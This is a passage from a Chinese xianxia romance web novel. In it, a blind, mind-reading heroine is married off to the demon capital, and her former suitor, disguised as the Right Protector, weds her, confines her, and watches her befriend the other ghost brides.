“我捡到的东西没有实体,就是一种……感觉?” 程鸢努力向周意宁描绘了一下那种感觉,他当时愣了愣,最后说是那是仙缘。 “什么是仙缘?” “就是成仙的机缘。” 程鸢那会立刻挑了下眉,笑着回了句:“要是有朝一日我真能飞升,在天上当一个瞎子神仙感觉也挺酷的。” 周意宁没有接话。 他的心里也没有声音。 但程鸢觉得他好像在惋惜。 …… 回到灵无宗后,虽然由于她的突破导致血誓失效,但叶宗主得知事情的来龙去脉后,没有采取更强硬的措施,反倒因为愧疚塞了一堆好东西给她,还请了有名的神医来给她看眼睛。 不过神医也没有办法,最多只能让她不那么痛。 他们的对话是在屋外进行的,但还是被程鸢全部听了个遍。 她听后也不觉得有多遗憾。 神医走后,周意宁每天都会给她送药,怕她无聊给她读会书,说会话。 唯独今天,他好像不是一个人来的。 那个人从进来之后就站在角落位置,纹丝不动,闷声不响,连心声都听不见,好像只一直静静地注视着她。 程鸢假装没有觉察,等慢悠悠喝完了药,擦了嘴,见那人还不走,才扬声问了句: “来了客人?” 周意宁恩声,见程鸢没有抵触,便自己退了出去。 当关门声响起,卧房里只剩下他们两人。 四下静了有一阵。 她能感知到白烟自香炉袅袅升起,那人无声缓步走向了她。 当他站在她跟前,心跳声愈渐急促,呼吸声却恍然消失时—— 她听到他叫她…… “程鸢。” 67 第67章 ◎代嫁替身想被攻略的第三十一天◎ 再见到关骓野之前,程鸢也会时不时想起他。 想他是不是该开始攻略萧晓了,萧晓那么喜欢他,应该会很好攻略才是。 也许不消多久,灵无宗就会吹起一阵她被抛弃,他另寻新欢,和新欢好四处撒糖喂狗的传言。 但程鸢终究对事实不得而知。 毕竟她不问,周意宁也不会主动说。 在她看来,关骓野现下应该是和萧晓打得热火朝天,没有时间和功夫来见她的才对,因而此时此刻当“程鸢”二字在他嘴边响起,她总觉得恍恍惚惚。 但她不是立刻问“你怎么知道了?”,而是一句: “你见过叶宗主了?” 黑暗之中,他平静的声音传到了耳畔。 “恩,见过了。” 短短的一个问答后空气又重新变得沉默,坐在软椅上的人和站在边上的人相对无言。 安静了会,最后打破沉默的人还是程鸢。 “……你怎么来这里了?” “想来见见你。” 他那语气像是即将远行的人前来告别,程鸢是愣了下,才轻声哼笑:“一个瞎子有什么好见的,你看得到我,我又看不到你。” 话脱口而出后,她顿时觉得对方心里好像在无声淌血,又赶紧出声挽回: “你不用内疚,这不是你的错,而且我现在也没什么不方便的,你听周意宁说了吗?我还误打误撞得到了仙缘。” 但她的安慰似乎不管用,隔了好一会,一直笔挺站在那里纹丝不动的人才缓缓道出一句: “……恭喜你。” “……” 关骓野成功让程鸢切身体会到了何为尴尬。 人一尴尬又没话找话说时,总难免会把气氛推到更尴尬的境地。 程鸢问出那句“你不去找萧晓吗?”,关骓野陷入了更长久的沉默后,她就非常后悔,好像有一根根细软的针在戳她的背脊。 正当她都快要按捺不住想要打破沉默,扑过去抓住关骓野逼他好好说话的时候…… 他终于再度出声了。 而他一开口,让她又愣在原地。 “程鸢,我放弃攻略了。” ……他又叫她程鸢。 这十年间,没有人会叫她程鸢,她自己也不会这么叫,于是此时这个熟悉又陌生的名字一而再地被他挂在嘴边,她不禁有些惝恍迷离。 连说出口的话也带着股魂不守舍的恍惚。 “……放弃了也是好事,毕竟到底是歪门邪道,还是不要碰比较好。” 如果说在飞云宗那会是没时间,那么现在有机会了,关骓野也没有问她到底是怎么知道攻略的事情。 而她也没有问他系统去了哪里,为什么他放弃了攻略,身上的修为还在。 那个尴尬到令人发指的家伙,终于不再是直挺挺地站在那里,程鸢察觉到他更向她靠近了一点。 不止是一步。 当关骓野靠近到一个她都想避开的距离时,他好像跪在了她的跟前,双手握住了她的手,然后抵在额前。 “程鸢。” 霎时间,她只是忽然很想知道他到底跟叶宗主说了什么,又是怎么知道她真正的名字的。 可她已经错过问出口的时机了。 “虽然一开始是攻略,但我对你的感情是真的。” “我知道自己用那样的方式靠近你是居心不良,也不奢求能得到你的原谅,无论你是生气,还是对我说什么样的话,那都是我应该承受的。” 说到这里的时候他顿了顿,接着用一种小心翼翼又满是期待的口吻问她: “你能不能让我看看……你真正的样子?” “……” 程鸢看不到,但她能感受到投落在她脸庞上的那双视线是多么灼热。 那好像一个将要赴死的人在诉说他最后的愿望。 “……” 她没法不答应他。 于是这十年间不管发生什么事情都没有撤下的变幻术终于消失了。 霎时间,关骓野的目光好像更加炽热了。 像是要将她的面容铭刻于灵魂,他用近乎贪婪的视线描摹着她的脸庞。 程鸢的脸颊渐渐变热,当前者冰冷的指尖轻触到时,她不禁一激灵,打了个寒颤。 他的指尖同样在微微发颤。 不止是看,是轻触,他像是无法控制自己,忍不住亲吻了她的额头,从额头到眼睛,又到唇角,一下一下犹如蜻蜓点水。 程鸢下意识要推开他,双手却被他紧紧握住。 他不但把她的手放在自己怦怦跳动的心口,甚至还在她的耳边一遍遍轻唤着她的名字。 “程鸢……程鸢……” “这次……总算没有叫错人了。” 程鸢像是被蒙住眼睛、捆住双手丢进了浓稠的蜜糖罐里。 她被他亲得呼吸变得急促,正犹如失去了船帆的小船失去了方向感时—— 他冷不防松开了手。 清冷的空气和他坚定的话语取代了温情蜜意。 “你且等一等。” “不管是你的眼睛,还是……”他没有把话说清楚,只直接作出了结论:“一切都会变好的。” 从晕头转向的状态中清醒,回想起他说话时的口吻,程鸢只道那像是被逼到悬崖边上走投无路的人,现在要去放手一搏了。 她赶紧起身,跌跌撞撞地往门边方向追了过去。 “喂你要去干嘛?!” “……” 可没有回音。 他就这么走了。 …… 在当上瞎子神仙之前,程鸢要先去当瞎子新娘了。 她对这一天多多少少有几分期待的,当然不是说期待嫁给魔尊,她只是想看关骓野当发现她披上嫁衣扭头嫁给他人,破大防的那一刻。 结果现在嫁衣是披上了,仙鹤喜轿也坐上了,却看不到他的表情了,连他人在不在这里,都无从得知。 所以在离开灵无宗,前往魔都的时候,程鸢的心里总带着点遗憾和惋惜。 去魔都的一路不是太近,但也不是远到永远都到不了地方。 当喜轿落地,抬轿的仙鹤被当场绞杀,发出鹤唳哀鸣后变成片片碎纸。 大概是来了不少看热闹的魔修,一群牛鬼蛇神的心声涌入程鸢脑海。 【哈哈哈!好!人总算是来了,灵无宗宗主之女……这倒是狠狠杀了他们那群自诩正派人士的锐气!】 【也不知这次新娘的皮好不好看,要是好看……等魔尊玩腻了,真想借过来用用,为我的仙女人脂膏做点贡献……】 【魔尊闭关,这次又是右护法代为迎亲,他奶奶个熊,这种好事什么时候才能轮得到我?唉,要不把右护法杀了……不不不干脆直接把魔尊杀了!】 程鸢还在品魔尊闭关这件事,顺便适应一下魔都风气魔修疯气,轿门冷不防被一脚粗暴踹开! 她被吓得跳了跳。 眼前是一片黑,耳畔则传来道一听上去就觉得有点神经质的男声。 “叶语笑,我们又见面了。” “等了你这么久……真是怪想你的。” 程鸢正发蒙,那人似乎一个箭步来到她的跟前,接着一手捞住她的腰,一手撩起她头上新娘喜帕,直接就在她的嘴唇上狠狠亲了下。 68 第68章 ◎代嫁替身想被攻略的第三十二天◎ 那神经质的男声有几分熟悉。 刚一入耳,程鸢的脑海中顿时浮现出那个带着一群鬼新娘的魔都右护法。 至于这位右护法的心声,程鸢更熟悉,名字下意识就要脱口而出,是赶紧抿紧嘴唇才把声音咽了回去。 而便是这么一个短短心理路程的功夫,程鸢被对方一把揽住腰身,脸上喜帕吹飞,被吃了豆腐。 ……程鸢被突如其来的这么一下给亲懵了。 对方才不管她懵不懵,手根本没松开过,直接顺势把她从喜轿里带了出去。 离开喜轿后,程鸢的脚都没有沾过地。 这位魔都右护法揽抱着她的样子像是揣着最心爱的手办娃娃,生怕被别人抢走,半点不肯撒手,一定要紧紧贴在自己身上才肯安心。 事实证明:不撒手是对的。 程鸢刚被带出一丈远,身后的喜轿就炸成了木渣。 走不到百步,便有好几个魔修邪修要从右护法的手中抢亲,她看不见他们样子,只听声音,都知道是群魔乱舞。 而听到那什么鬼的“仙女人脂膏”“脑髓灌汤包”,程鸢清楚要是落到他们手中恐怕连渣都不剩下,在新娘手伴收藏家的右护法手里起码还有个全尸。 想到这里,她也不矜持了,提了提气,双腿一抬直接锁在他腰上,像树熊一样挂在他身上,给他省了力气,让他专心打架。 也不知道是不是做惯了的动作,这一套下来倒是很有行云流水般的流畅。 结果右护法反而愣了愣。 趴在他耳边,程鸢认真仔细地提醒他:“你得好好保护我。” 他冷哼一声,大概是看她往其他男人的身上贴过去时那么自然,连一丝迟疑羞赧都不见,声音里带着股火气。 “那当然,我的新娘怎么可能让一群垃圾抢走?” 说完,嘴唇直接压了过来,惩罚式地恶狠狠地亲了她一下。 “……” 他现在倒是很清楚要怎么在报复别人的同时,奖励自己。 …… 程鸢确实没想到成个亲可以搞得这么腥风血雨。 右护法对她说到礼堂了,她从他身上下来站到地面的时候,只觉得地板腻滑,鼻间全是血腥味。 据他所说,本该是高堂坐着的椅子上,现在还放着两个不长眼想要抢亲人的脑袋。 他口吻中的玩世不恭、不以为意,程鸢的确给听得一愣一愣的,不由心叹只有他这么能装会演的人才能快速适应魔界疯气、融入其中,换了别个……恐怕不稍片刻就露出马脚了。 程鸢想东想西的功夫被对方误判为抗拒和他成亲。 他明明应该发火,结果声音里反倒听出了几分喜色。 “怎么?我不是你意中人,所以不想跟我拜堂了?” 程鸢对着声音传来的方向摇了摇头,诚诚恳恳地回答:“不是,我看不见东西,你得帮帮我。” 对方一瞬语塞后反倒来了兴趣。 “看不见啊……” 听他靴子踩在血渍上的声音,他好像围着她转了两圈。 程鸢正疑惑着他要干嘛,结果突然感觉脚踝处被他用脚勾了一下! 她顿时失去了平衡,直接往地面摔去,连垂着的发丝都已经碰到地面未干的血了,结果腰又被他伸手勾住,捞了回来。 还幸灾乐祸地说了句:“原来是真看不见。” “……” 程鸢真的无语,他又不是不知道她瞎,这里没有旁人只有两颗脑袋,他苟什么人设。 她忍住了吐槽,但身体远比嘴巴要诚实,被右护法捞回去的下一秒,手便握成拳头在他胸前锤了下。 下一秒,空气里泛起了阵阵杀意。 “你倒是不怕我杀了你。” 他冰冷的指节扣住她脖子的时候,加上他声音里那股特有的神经质,任是程鸢都有一瞬怀疑自己认错了人。 要不是能听到这位右护法的心里恼火地说【该死……都到了魔都,她就真不知道收敛一下吗?她难道真不怕死??】,她恐怕早被他骗了过去。 她忍俊不禁。 【她还敢笑?!】 程鸢不但敢笑,她还敢在双手摸索到他的肩膀后搭了*上去,圈住他的脖子。 “我知道你不会杀我。” 【难道她认出来是我……】 “要是杀了我,你上哪里去找像我这么美丽温柔的新娘呢?” “虽然我看不见,但要是错过我,你会后悔一辈子的,右护法大人。” 话落,程鸢主动在他脸上亲了下,本来是冲着脸颊去的,结果一不小心亲到了唇角。 对方的心声果然更加咬牙切齿。 【……她原来真的对谁都这样。】 可就算心里气得该死,他还得装出一副欢天喜地的模样。 “哈哈!那照娘子这么说,我还确实不能杀了你!” 话落,像是想起了什么,他马上接着道:“不,连堂都还没拜,不能叫娘子。” 在脑海里想象了一下周遭是怎么一副血淋淋的惨烈景象,程鸢皱眉。 “拜堂什么的就算了吧,不如我们直接去洞……” 话说到一半,她的嘴巴里冷不防被塞了块桂花糕,他的声音比曾经见过一面的真右护法还要杀气腾腾。 “闭嘴!现在跟我拜堂!” 程鸢:“……” 提着红绣球跟他拜堂的时候,程鸢觉得脸被过去的自己啪啪啪打得很痛。 关骓野曾经问过她很多次,她到底要嫁给何人,要与谁结契。 她也回应了很多次“要嫁谁都不可能嫁你”“那人反正不会是你”。 事到如今,程鸢想他恐怕是对此生出了执念。 哪怕此时没有一个完整的宾客,即便高堂位上是两颗脑袋,也要跟她拜完这个堂。 他们拜天地。 拜脑袋。 最后对拜。 礼成的那刻,从他心中长长吁出的那口气,程鸢能感受到他终于得偿所愿的满足感。 那就好像什么都值了。 哪怕现在死去,也死而无憾了。 想到这里,程鸢只是忽然发现以前自己造孽诸多,于是决定不再和他对着干,要顺着他来,便不由轻声问了他一句: “右护法是代魔尊娶我,那我该不该叫你一声夫君?” 下一秒她的下巴被他紧紧捏住。 他一副放荡不羁桀骜不驯的狂野做派。 “叫,当然得叫!” “你以为魔尊真要娶你?不过是寻了个由头抽你仙骨,只要我才是真心想娶你的,要对你好的,听懂没有?” 程鸢乖巧点了点头,用嗲嗲的声音喊了声夫君。 他听后愣了下,之后声色忽然变得沙哑。 “再叫一遍。” 于是程鸢再叫了一遍:“夫君。” 她听话照做,他反而还不高兴了,扣住她下巴的手用力到有点疼了。 “让你叫你就叫?要不是我,是别人,你也叫?” 程鸢真真一个听话的乖媳妇。 气都不气一下,甚至抬手轻抚他的手背,还温柔安慰: “那当然不,我们可是成了亲的正经夫妻,所以才叫你夫君。要是换了别人,我当然是让他赶紧给我滚的。” “你刚刚踹喜轿门的那一脚踹到了我的心坎里,在那瞬间,我就认定今生非你不可了。” 程鸢看不见他表情。 只觉得他在这一刻大概是……又哭又笑,心里甜蜜但又想杀人的。 69 第69章 ◎代嫁替身想被攻略的第三十三天◎ 程鸢本来以为关骓野是来救她回去的。 可他丝毫没有暴露身份的念头,便想着他大概有他自己的打算和想法,所以既然他不想与她相认,她也不拆穿他了。 全都顺着他来。 说到底,关骓野本没必要趟这一趟浑水,他大可在修真界逍遥快活,而不是先她一步来到魔都,还伪装成了右护法迎亲。 能走到这一步他太不容易。 要在这全是魑魅魍魉的魔都伪装成右护法一定很艰难,更遑论他似乎还在对付真右护法的时候受了伤。 程鸢不是温柔的人,也不善解人意,但现在看着关骓野为她做到这一步……他想亲就亲,想骂就骂,都随便他了。 因此连他把她扛在肩膀上,送入洞房,最后动作粗鲁地给摔在床上……她都不说他了。 然而她不吭声,他反倒来气。 欺身压上来后,他单手把她的一双手腕按在头顶。 “骂都不骂一句?你就这么喜欢我?” 程鸢想都不用想,张嘴就是一句:“恩,就是这么喜欢你。” “……” 无语了下后,他讥笑道:“满嘴胡言。” 接着他空出来的手抚上了她微微发烫的脸颊,指尖落在眉梢,然后顺着一路向下,当按在她脖子上的大动脉,发现她震颤一下,忍不住嗤笑道: “你要是喜欢我,你的身体为什么在发抖?” 程鸢很真诚地回答他:“有没有一种可能,发抖是由于我太过兴奋?” “……………………” 他不知道她从一开始就知道是他,此时认为她随随便便一个男人都能让她兴奋,刹那间无语的样子像是立刻掐死她的心都有了。 见他气得当场就想走,却又好像舍不得走,程鸢觉得他很矛盾,干脆帮他做了选择。 “不过……夫君,今天到底是我们第二次见面,还不算熟悉,不如我们改日再算?也不是非要今天洞房不可,不是吗?” 这么一逼倒是把他内心真实的想法给逼了出来。 打了声冷笑,他否定她的话倒是比什么时候都要快:“洞房花烛日可没得改日。” 之后伸手抓来床头的酒壶,含了口烈酒在口中,接着俯身粗鲁地喂进了她的嘴里。 程鸢被酒烧得喉咙疼,正咳着嗽,只听他压下身在她耳边带着低笑声耳语了一句: “我们是不熟悉,但我也不是坏人,你就想着你最熟悉的那个人跟我做,也行。” “……………………” 不立刻把他的身份说穿,那真的是程鸢用上了全部的意志力去忍。 她忍住了话,却忍不住咳嗽,最后是一边咳出了眼泪,一边实在想笑,语气便变得古怪起来。 “……行,那我就想着他,跟你做。” 扣在她手腕的手终于松开了。 那人似乎跪坐着,高高在上的声音从上方传到了程鸢的耳畔。 “怎么?你是我娘子,还得我来伺候你?” 他这话说得就很大男子主义,然而想起往事的点点滴滴、想起他曾经哀她求她的可怜模样,程鸢是拼命忍了又忍,才忍住不去挑明。 她坐起身,想去解他衣裳,结果因为眼前一片黑而无从下手,不禁脸色微红地提醒了一句:“我看不见……” 可他只说:“我有的是耐心。” “好吧……” 既然他说自己有的是耐心,那她就慢慢来了。 反正到时候火急火燎的那个人,总归不会是她。 如此想道之后,程鸢倒也不着急了,她往他的方向挪了挪,更靠近了他一点,接着双手试探着向他伸去。 当她只是指尖轻轻碰到了他,他胸膛的肌肉瞬间紧绷,好像连着整个人都变僵硬了。 程鸢想,他应该下意识抿起了嘴唇。 假装不察,她继续一板一眼摸索着新郎服的解开方式。 新郎服的样式和常服大同小异,哪怕复杂上了一些,也不至于说拉拉扯扯了一袋烟的功夫也解不开。 程鸢就是故意磨磨蹭蹭,装作不经意间挨挨碰碰,指尖划过碧波,掠过小荷尖角,将蜻蜓点水仿效到了极致。 而对方显然被她的这般慢条斯理所折磨。 他的呼吸渐渐变得粗重,因为不想示弱而咬紧牙关忍下了哼声。 程鸢看不见,但她十分记得他的那双眼睛,宛如清晨时分在水面起的雾色,烟烟袅袅掩盖着贪婪欲求。 但等察觉到她是故意的之后,他立马忍不下去了。 “……你还想玩多久?” 程鸢一脸无辜。 “成亲过后夫君还没有叫过我一声娘子。” “要是夫君肯说娘子求求你,我就放你一马——” 被对方扑倒的时候,程鸢最后的尾音变成了惊呼声。 她仰着头,一副言笑晏晏貌:“夫君不是说自己有的是耐心吗?” 他的脸铁定很黑,连说话都带着股咬牙切齿的意味。 “再多的耐心也经不起你这样折腾。” 程鸢忍俊不禁。 而便是听到他喊她“娘子”的时候,她嘴边的那抹笑咧得更开了一点。 要是关骓野,恐怕早顺着她的意思,一边低声求她一边倒过去折腾她了。 但现在毕竟顶着人家右护法的人设…… 他的每一句话都带着股恣意狷狂。 “哈哈!求你?” “今夜只有你求我的份!” “……” 程鸢暗自笑了笑。 十分体贴,没有说话。 …… 说起昨夜,程鸢有好几次都快要破功,差点想直接把身份挑破,让他当场社死无地自容。 前几次她都不提了。 最让她按捺不住的那次,是他在埋头苦干辛勤耕耘的时候,冷不防冲她说了一句: “你别一直不说话,倒是哼两声,就算你叫他名字,我也不会生气的。” 她当时迷迷蒙蒙,突然听到他那话一头雾水,便反问了句: “……什么?叫谁的名字?” 结果下一秒,她被掐在她软肉上的钳子手给掐清醒了。 她看不见他的表情,只听声音都知道那是有多么恶狠狠的: “你现在到底是想着谁跟我做我的?!” “……” 那会她也来气了。 拼命忍下了揭穿他的冲动后,笑吟吟地回了句:“我师兄。” 那家伙果然追问:“你那么多师兄,是在喊哪个师兄?” “我的周师兄。” 那一瞬间好像连窗外的风都突然停止了。 他的声音极为平静,然而越是平静,越是有一种暴风雨来临前的危机感。 “你跟他做过?” 这要是点头,她可能就活不到明天了。 于是应了声没有后,她挑眉反问:“不是你让我喊我最熟悉的人吗?” 结果那个自讨苦吃的家伙更气:“他是你最熟悉的人?” 听到他把怒火强压下去,表面上装成谁也不认识、全是好奇心驱使的右护法,程鸢就很无语。 “仔细想想……倒也不是。” “我最喜欢、最熟悉的那个人果然还是我关师兄。” 结果他还不满意:“你们灵无宗就一个姓关的男修?” “……” “……关骓野。” 他才终于心满意足地哼了声。 “行,接下来你就喊着他的名字吧。” “……” 他一边让她这么喊,一边又怕在她面前暴露,于是马上阴笑两声找补: “我就喜欢我的新娘喊着别的男人的名字跟我风流快活。” “……” 被逼着喊了半宿的“骓野”,第二天起来口干舌燥的程鸢只是不禁觉得…… 如果说起能装会演、自欺欺人…… 真的没见过谁能比他更擅长了。 70 第70章 ◎代嫁替身想被攻略的第三十四天◎ 直到嫁来魔都的第四日,程鸢才终于出了卧房的门。 不是她不想。 是假扮成右护法的关骓野不让。 他倒是很知道利用“右护法”的这个人设,连【这里危险,不要乱走】都省了说了,直接布了个阵,把她拘在卧房,她走不出去半步,别人也别想进来。 连一日三餐都是他自己亲自来送。 质疑他,他就说自己占有欲极强,容不得心爱的新娘手办被别人看见。 “……” 程鸢看他是早打定主意这么做,才不敢和她相认。 她本来当时就想揭穿他,是正要开口时候冷不防想起在他怀中摸到的两节断玉,才没有出声。 那两节断玉是给他解新郎服时候不小心摸到的。 她只是刚碰到,便被他抓住了手腕,不准她再碰。 她问,他只说让她别管。 可程鸢知道,那应是关骓野送给她的那根玉簪。 那根玉簪她自从收下,大多时候都戴在头上,在福源洞天中断裂,之后为了让关骓野死心而随手一丢。 没想到他不但捡了回去,好好收了起来,甚至还放在了离心口最近的地方。 她不禁想却又不敢想,他到底是怀着什么样的心情把它带在身上,握在手中摩挲时,又在想些什么。 于是……便说不出口了。 她在他面前听话乖巧,一连三日都乖乖呆在卧房里。 ——是直到第四天才终于迈出了卧房的门槛。 虽然眼前还是一片黑,但一站在外面,感受到阳光照在身上的温暖,那果然还是不同的。 “人还是得晒太阳……再呆下去都要发霉了……” 一边嘟囔着,程鸢散步似地慢悠悠四处闲逛起来。 关骓野的阵法是从她给他的藏书里学的。 而好巧不巧,那些书……她全都看过。 …… 关骓野白天时候忙着做间谍,除了给她做送饭使者以外的时间,都不会回来。 现在距离他下一次现身还有两个时辰,程鸢打算四处探索一下,看看能不能找点娱乐活动打发时间。 她睡的地方是主卧,从后门出去两侧有一排厢房,程鸢挨个搜索,终于在第三间的厢房里找到了除杂物外的活人…… 大概是活人吧? 敲门后推开,程鸢只道这间厢房阴气十足,大白天的阳光都压不住房内的阴邪寒气,像是厉鬼的藏身之地。 而她推门后的下一秒,房内冷不防窜出一根鞭子,阴冷的质问声同至: “……你是何人?” 对方不是一打照面就要杀人,程鸢挥手便化解了对方的攻势。 侧耳听了下,见对方不连着攻击,马上笑盈盈地弯腰作揖道: “姐姐好,我叫叶语笑,前几天刚嫁过来,现在正等着魔尊闭关出来抽我仙骨,完了之后留任右护法大人的新娘手办。” 像是被她说无语了,连在厢房内流窜的阴气都凝滞了一瞬,对方隔了几秒才挤出一句: “……你倒是乐观。” 程鸢诚恳:“乐观是一天,不乐观也是一天,那当然还是乐观地过日子才更自在。” 程鸢劝道:“姐姐也不如放宽心,既然都到这步田地了,再伤心难过也是苦了自己,而不是别——” 突然猛抽过来的鞭子让程鸢瞬间静音。 若说刚刚那一鞭只是试探,那么现在便是存了杀心,程鸢被对方直接逼退出了房间,即使站在大太阳底下,从房间里涌出来的怨恨也如附骨之疽驱之不散。 “你懂什么?!” “放宽心……?你知道我是怎么落到现在这个地步的吗?!” 对方似在步步走来,声音因而渐渐变大,语气也越来越激动。 “我生来便有仙骨,天生是修仙的苗子,我日日废寝忘食、悬梁刺股地修炼,就是为了能有朝一日登上青云。” “可他们却毁掉了我的梦想,夺走了我的全部,还让我现在变成了活不活死不死的怪物!” “你让我看开点?这谁能看得开?!要是换了你,你能——!” 她的声音冷不防断了。 不是被程鸢打断,而恰恰是看到眼前的程鸢,她忽然意识到:沦落到这个地方的人,都免不了被抛弃的命运。 程鸢:“姐姐?怎么了?我在听的。” 她也知道她一直在认真仔细地倾听。 只是见她双目没有焦距,一直看着一个方向,连她到了跟前眼珠子也没有跟着转,不禁皱了皱眉,问了句: “你看不见?” 程鸢点点头。 “怎么瞎的?” 程鸢老老实实地回答:“我被魔修所害,被困在了福源洞天,一直找不到出口,然后就被毒火熏瞎了。” 新娘眉头皱得更紧:“就没人帮你一下?” “本来是有的,我和一个师兄一起被困,但我让他去救另个师妹,他真去了,然后就再也没遇到其他人了。” 程鸢三言两语的概括反而让新娘脑补了比真实事件更跌宕曲折的剧情。 她的嘴巴张开又闭上,像是想说些安慰人的话又忽然记起自己刚刚才吼了对方一通,于是挫败地垂下衣袖,扭头往回走。 “算了……跟你说话真没意思……” 然而程鸢却精准地抓住了她的手臂。 回首,只见她没有焦距的眼睛笑眼弯弯。 “姐姐能不能带我认识认识其他的新娘姐姐?” “……我跟她们也不熟。” 程鸢毫不在意:“那也比我要熟。” 双方僵持了一会,对方还是妥协了。 “……好吧。” 右护法的新娘手办们全都住在两侧的厢房。 她们被魔尊抽走了仙骨,但到底是修真者,跟凡人不同,不会立刻死去,而像是活死人一样成为了右护法的鬼新娘。 第一个遇见的新娘姐姐状态算是最好的,还知道去怨、去恨。 其他的新娘姐姐……大多是浑浑噩噩,明明有神智,却像是没有一样,让做什么就做什么。 仿佛只要不去思考,放空大脑,生活就不会那么痛苦。 程鸢理解她们,又觉得惋惜。 于是她牵起了不会反抗的新娘姐姐们的小手,把她们一个接着一个从厢房里牵出来,带到了院子里晒太阳。 像晒死鱼干躺成一排的时候,她突发奇想: “我们这么多人,不凑起来打一桌真的可惜了。” …… 右护法的鬼新娘们就是这么被程鸢抓起来打牌的。 牌这种东西没有现成的,不要紧,可以做。 因为除了会甩鞭子的新娘姐姐,其他新娘都很听话,所以程鸢只要把指示交代清晰,虽然慢腾腾的,但她们都会去完成。 做牌没有那么快,但程鸢也不赶时间。 她抽空回去吃了个午饭,期间一如既往的乖巧听话,没有被关骓野发现端倪,然后等人走了转身便溜了出来。 又是过了小半个下午—— “牌是做好了……但你怎么玩?” 程鸢早想好了,她转头抱起一直小鸟依人粘着她的新娘姐姐的手臂,问她:“姐姐你能不能帮我报牌?” 黑暗中,对方愣了会,才慢慢说了声:“恩,好。” 这是她第一次出声。 她的嗓音温柔似水,让程鸢只是不禁去想,假如没有遭到这出横祸,修真界铁定能多出一个远近闻名的温柔知心大姐姐。 ……可惜了。 …… 新娘姐姐们的反应都不快,程鸢下午的时间全花在教她们规则上了,是直到第二天才终于打上牌。 因为有她布置的任务,第二日新娘姐姐们是各自带上了赌注,才坐上了牌桌。 前两天程鸢还能欺负欺负她们,收了两双鞋垫,一本心法,一个诅咒人偶,外加根鞭子,结果后来不知道怎么,赚来的东西就全部输回去了! 她们不但出牌的速度越来越快,连程鸢身后给她报牌的温柔姐姐都…… “不要打这张。” 冷不防听到她说出除了报牌意外的这么一句,程鸢当时也不免愣了一下,但接着是马上转头,笑眯眯地问她: “姐姐玩不玩?你坐我这个位置,正好我休息一下。” “她们欺负我眼瞎,正好姐姐帮我杀杀她们的锐气!” 对方也不免愣了下。 但最后是温温柔柔地应了声好。 程鸢觉得自己在她那温柔又空寂的声色里……好像听到了点点笑意。 …… 人越输越多之际难免赌瘾上头。 干得热火朝天的时候,程鸢忘记了白天黑夜。 而不止是她,突然开荤的新娘姐姐们瘾更加粗,于是连最外围突然在不知道什么时候多出了个人的时候,也没人察觉。 是直到那人阴恻恻笑起来,她们才如梦初醒。 “……娘子们倒是好雅兴。” 70-80 71 第71章 ◎代嫁替身想被攻略的第三十五天◎ 披着右护法外皮的关骓野一现身,本来干得热火朝天,连新娘服袖子都给撸起来的新娘姐姐们顿时如见到了活阎王,作鸟兽散。 她们不知道右护法换了根芯,但即使知道,对右护法那张脸本能的恐惧感恐怕也会招致同样的结果。 所有人新娘姐姐都跑了,只有程鸢留在原地。 那个声音最温柔的新娘姐姐见她傻乎乎地愣在原地不动,反手就想把她拽走,却反被关骓野误以为她要伤害程鸢,于是出手拦截。 程鸢听到向来说话斯文婉约的她反射性发出凄厉的尖叫。 她用身体拦着关骓野,另一边赶紧安慰她: “姐姐你先走,不必担心我。” 新娘姐姐浑身发抖,她坚持了下,但还是在关骓野又迈过来一步时疯一样地逃掉了。 程鸢也被关骓野拖了回去。 她被重新关起来的时候,还优哉游哉地想自己像极了放养的宠物被关回了家里,不知道有多危险,结果直到一只手掐住她的脖子,才生出一点危机意识。 “你倒是真不怕死。” “没我的允许就敢跑出去,是觉得我不会罚你?” 他的眸光和他的手一样冰冷。 像是要给她长够教训,他是真的用了力,于是程鸢被他放开后忍不住拼命咳嗽,脖子和脸都红了一片片。 对于她的惨状,他冷笑一声,毫不怜惜,可闭眼喝茶的样子分明就是不敢看她。 ……这人又是何苦? 但即使知道他有苦衷,程鸢也不想理他。 她就是坐在床沿,背对着他,对他“还不过来?”“我让你过来你听不见?”全部充耳不闻。 到了最后,是他终于按捺不住,自己带着药膏滚了过来。 程鸢发脾气甩开他,却被他强抓着按在了腿上。 他一边动作强硬地给她脖子抹药,一边就差揪住她的耳朵来点醒她了。 “一口一个新娘姐姐,你以为她们是什么好人?” “一群死人堆里就你一个活人,她们嫉妒你嫉妒得要疯,恨不得把你活蹦乱跳的心脏挖出来放进自己的胸腔里!” “……” 其实关骓野说得是对的。 新娘姐姐虽然看似在慢慢变得正常,说到底也是跟她不一样的。 她们不必进食,也不需要睡眠。 程鸢时不时也能感受到她们怨毒的视线,听到她们这样那样的小心思。 【活着真好啊……要是我还活着,也许我也能像她这样笑得这么开心吧……】 【真羡慕啊……】 【不过过不了多久,她也会变成跟我们一样了,嘻嘻。】 【她是一个瞎子,她比我们还可怜,嘻嘻。】 但是跟正在给她抹药的关骓野一样,程鸢只觉得她们可怜又可悲。 她不想直接点破,让他们变得可笑,于是总是假装什么都不知道,配合他们的表演。 因此面对苦口婆心的关骓野,程鸢只扬了扬眉,不以为意地笑道: “怕什么?挖就挖喽,反正我也马上要变得和她们一样了。” “刺啦”一声,油灯一瞬明灭。 下一秒,程鸢察觉到有道炽烈的目光落到了自己的脸上,那灼热的温度像是要把她给点燃。 “你就这么想变得和她们一样?挣扎都不挣扎一下?!” 程鸢一脸真挚诚恳。 “我真不在意的。” “所以你真的不必为我担心。” 那人突然没有声音了。 他一声不吭,程鸢却发现他的手握成了拳头,那力道之大好像都听到了咔哒咔哒的声响,配合他此时的咬牙切齿,像是恨不得立刻杀了她…… 大概是不会杀的。 她不在意。 可他在意。 他在意得要死。 如果他也生来便有仙骨,恐怕现在也不会伪装成右护法了,而是替了她代嫁新娘的位置,亲身上阵了。 程鸢轻叹一声。 她伸手去摸他的手,想让他别再自己折磨自己,可指尖刚碰到他的手背,她整个人被他甩到了床上。 他起身、甩袖的动作一气呵成。 “谁担心你了?真是可笑!你算是什么东西,配让本右护法来为你担心?” 他明明嘴上是这么说的。 然而顺着他开门动作吹进来的风,把他的心声带到了程鸢的耳畔。 【该死……你想都别想,我绝对要让你活下去。】 她不禁又是一声叹息。 …… 顶着右护法的人设,捏造起借口来就是顺手。 他分明怕她继续跟新娘姐姐们玩下去,不但眼睛没了,手脚可能都要丢掉一条半根,可话到了嘴边,便成了: “本座就是要拘着你,就是喜欢看你失去自由的可怜模样,怎么了?有问题?” 为了不让她出去,他变着花样加强了控制她的手段。 可是——没有办法。 只过了一天,他的那些符咒啊法器啊全部成了废纸烂铁。 毕竟是天生仙骨的天才,就是这么厉害的。 